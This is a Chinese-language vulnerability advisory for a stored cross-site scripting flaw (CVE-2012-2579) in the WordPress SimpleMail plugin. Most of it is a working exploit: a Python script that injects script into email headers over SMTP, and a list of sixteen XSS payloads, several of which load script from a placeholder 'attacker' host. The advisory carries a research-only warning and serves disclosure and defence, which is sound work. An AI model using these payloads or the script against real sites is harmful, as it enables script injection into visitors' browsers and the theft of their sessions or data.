WordPress SimpleMail Plugin Email字段脚本插入漏洞
发布日期:2012-08-09
更新日期:2012-08-10
受影响系统:
WordPress SimpleMail Plugin 1.x
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2012-2579
WordPress是一种使用PHP语言和MySQL数据库开发的Blog(博客、网志)引擎,用户可以在支持PHP和MySQL数据库的服务器上建立自己的Blog。
SimpleMail plugin for WordPress 1.0.6及其他版本在实现上存在多个漏洞,通过电子邮件的字段"To"、"From"、"Date"、"Subject"传递的输入没有正确过滤即用于显示电子邮件,可被恶意利用执行脚本插入攻击,查看后会在受影响站点的用户浏览器中执行。
<*来源:loneferret
链接:http://secunia.com/advisories/50208/
http://www.exploit-db.com/exploits/20361/
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
loneferret ()提供了如下测试方法:
#!/usr/bin/Python
'''
Author: loneferret of Offensive Security
Product: SimpleMail
Version: 1.0.6 (free version)
Vendor Site: http://codecanyon.net/item/wp-simplemail/1130008?ref=tinsley
Software Download: http://wordpress.org/extend/plugins/wp-simplemail/
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Ubuntu LAMP 8.04
Wordpress: 3.3.1
Client Test OS: MAC OS Lion
Browser Used: Firefox 12
Injection Points: To, From, Date, Subject
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=http://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <IFRAME src="javascript:alert('XSS');"></IFRAME>
6: <SCRIPT src="http://attacker/xss.jpg"></SCRIPT>
7: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
8: <SCRIPT SRC=//attacker/.j>
9: <<SCRIPT>alert("XSS");//<</SCRIPT>
10: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
11: <SCRIPT a=">" src="http://attacker/xss.js"></SCRIPT>
12: <SCRIPT ="blah" src="http://attacker/xss.js"></SCRIPT>
13: <SCRIPT a="blah" '' src="http://attacker/xss.js"></SCRIPT>
14: <SCRIPT "a='>'" src="http://attacker/xss.js"></SCRIPT>
15: <SCRIPT>document.write("<SCRI");</SCRIPT>PT src="http://attacker/xss.js"></SCRIPT>
16: <SCRIPT a=">'>" src="http://attacker/xss.js"></SCRIPT>
'''
import smtplib, urllib2
payload = """<SCRIPT>alert('XSS')</SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: [email protected]" + payload + "\n"
msg += "To: [email protected]\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "[email protected]"
password = "123456"
dstemail = "[email protected]"
frmemail = "[email protected]"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议:
--------------------------------------------------------------------------------
厂商补丁:
WordPress
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: